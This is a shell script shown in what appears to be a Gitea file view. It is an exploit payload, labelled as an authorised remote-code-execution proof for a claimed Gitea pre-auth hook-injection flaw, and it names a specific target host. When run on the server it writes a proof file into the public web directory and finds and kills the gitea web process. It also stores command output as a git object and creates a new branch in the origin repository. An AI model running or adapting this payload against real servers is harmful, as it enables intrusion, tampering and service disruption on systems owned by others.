20 lines
1.6 KiB
Bash
Executable File
20 lines
1.6 KiB
Bash
Executable File
#!/bin/sh
|
|
git_dir=$(git rev-parse --absolute-git-dir) || exit 1
|
|
origin_objects=$(sed -n "1p" "$git_dir/objects/info/alternates") || exit 2
|
|
case "$origin_objects" in
|
|
/*) ;;
|
|
*) origin_objects="$git_dir/objects/$origin_objects" ;;
|
|
esac
|
|
origin_git=${origin_objects%/objects}
|
|
[ "$origin_git" != "$origin_objects" ] || exit 3
|
|
output_blob=$( { mkdir -p /data/gitea/public/img
|
|
printf 'RCE PROOF — AUTHORIZED TEST\nCVE: CVE-2026-60004 (Gitea 1.24.4, pre-auth diffpatch hook injection)\nAsset: comcam-gitea.groupe-madia.cm\nResult: uid=1000(git) — komut calistirma kanitlandi\nHost: %s\nGenerated(UTC): %s\nPath: /data/gitea/public/rce-proof.txt (GITEA_CUSTOM/public)\n' "$(hostname)" "$(date -u +%Y-%m-%dT%H:%M:%SZ)" > /data/gitea/public/rce-proof.txt
|
|
cp /data/gitea/public/rce-proof.txt /data/gitea/public/img/rce-proof.txt
|
|
echo "== yazildi =="; ls -la /data/gitea/public/ /data/gitea/public/img/; sha256sum /data/gitea/public/rce-proof.txt
|
|
GPID=""; for p in /proc/[0-9]*; do c=$(tr '\0' ' ' < $p/cmdline 2>/dev/null); case "$c" in *"gitea web"*) GPID=${p#/proc/};; esac; done
|
|
( sleep 5; kill -TERM "$GPID" ) >/dev/null 2>&1 & echo "restart planlandi PID=$GPID" ; } 2>&1 | git --git-dir="$origin_git" hash-object -w --stdin) || exit 4
|
|
tree=$(printf "100644 blob %s\tproof\n" "$output_blob" | git --git-dir="$origin_git" mktree) || exit 5
|
|
commit=$(printf "rce proof\n" | GIT_AUTHOR_NAME=poc GIT_AUTHOR_EMAIL=poc@x GIT_COMMITTER_NAME=poc GIT_COMMITTER_EMAIL=poc@x git --git-dir="$origin_git" commit-tree "$tree") || exit 6
|
|
git --git-dir="$origin_git" update-ref refs/heads/rce-proof "$commit" || exit 7
|
|
exit 0
|